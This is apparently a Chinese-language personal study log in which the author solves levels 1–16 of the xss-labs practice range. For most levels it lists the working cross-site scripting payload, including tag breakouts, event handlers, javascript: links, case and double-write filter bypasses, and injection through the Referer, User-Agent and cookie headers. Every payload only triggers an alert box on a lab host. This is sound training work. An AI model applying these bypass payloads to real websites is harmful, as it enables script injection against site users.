xss-lab
background:
昨天看了下网鼎杯 自己挺菜的 没做出来啥题 我一直也没想着往ctf方面深入 学了点简单无脑的东西 知识储备量也不够 ctf这玩意 知识储备很重要 这一两年也算是在一线rt的队伍里(小地方) rt打到现在我不想打了 感觉学不到上面东西 无非就是那点东西 信息搜集 打点 隧道 横向
用着别人的day 自己真的任何提升都没有 目前我的所有事情已经告一段落了 升学的事情基本是稳了的 今天早上本来是想打算过一遍ruoyi的 想多学学实战的东西 前段时间是计划着过红日靶场 我做完了1 感觉其实真的没啥大的提升 脚本小子罢了 百度看看了下xss的教程 看到t4哥的先知了 他真的好厉害啊 ciscn总决赛的题都参考了他的文章(也可能是同时发现的) 既然rt不想搞 只能搞ctf了 升本之后有大把的时间 包括现在我还有大半年 加油吧 希望能在知识上有所提高
先从xss-lab看起
docker没了真的蛋疼啊 最后搞了个hk的机子
xss-lab
镜像vulfocus/xss-labs
用这个经典的靶场
level1 直接打
直接弹窗
http://8.210.90.129:20000/level1.php?name=<script>alert('1')</script> |
level2 闭合
搞不懂了 这不是不解析吗 但是这里又没实体化编码 我闭合前面的h2好像不行
看了wp 回显点搞错了
http://8.210.90.129:20000/level2.php?keyword="><script>alert('1')</script>&submit=搜索 |
level3 事件
这里都实体化编码输出了呀
看wp 确实都实体化编码了 这里可以使用事件来弹窗 这里的事件都不是自动的 需要点击才能触发
onfocus和onclick区别上就是alert要不要打引号(目前看来)
prompt方法用于显示可提示用户进行输入的对话框
这里闭合后面的东西就行了(不闭合也行)
'onfocus=javascript:alert('xss')// |
level4 事件
和上面一样的 换个闭合方式即可
"onfocus=alert('xss')// |
level5 href
事件都进行了过滤
script也不能用
使用href标签直接调用alert
"><a href=javascript:alert(1)>111</a> |
level6 大小写绕过
成功闭合 有洞
使用大小写可以绕过
"><scRipt>alert('1')</script> |
level7 双写绕过
"><scRiscRiptpt>alert('1')</scriscRiptpt> |
level8 unicode编码绕过
这里友情连接 会跳转 很明显是href 直接弹窗 使用Unicode编码即可绕过限制
javascript:alert(1) |
level9 注释绕过
这里检测了地址是否合法 其实就是判断你提交的东西里面有没有http:// 直接注释掉就行了
javascript:alert(1)//http:// |
level10 隐藏参数与加框
这里正常打是没漏洞的 存在漏洞的参数没给我们输入框
用arjun可以探测到 这里感觉蛮符合实战场景的
闭合之后这里触发不了
"onfocus=alert('xss') |
这里需要自己加一个框框进去
"onfocus=alert('xss') type="text" |
level11 Referer
这里正常的参数都没问题 漏洞点在Referer处 在http头里打
"onfocus=alert('xss') type="text" |
level12 User-Agent
放User-Agent上打
"onfocus=alert('xss') type="text" |
level13 cookie
放cookie上打
user="onfocus=alert('xss') type="text" |
level14 exif
这里环境有问题 不能进行复现 其实就是把payload放到图片文件的标题里面打
https://www.freebuf.com/articles/web/282983.html
level15 文件包含
这里一上来看不懂 后面知道是文件包含
看wp后我有点蒙住了 直接包含啊?还能传参 那不是还能rce? 后面看了网络请求 都是本地发起的罢了 还有这里只能读同一个域名下面
直接读第一关 套个事件标签就行了
<a href=javascript:alert(1)>111</a>' |
level16 url编码绕过空格
这里过滤了/ 使用%0a可代替空格
<svg%0Aonload=alert(1)> |
后面的题都需要flash支持了 就没看了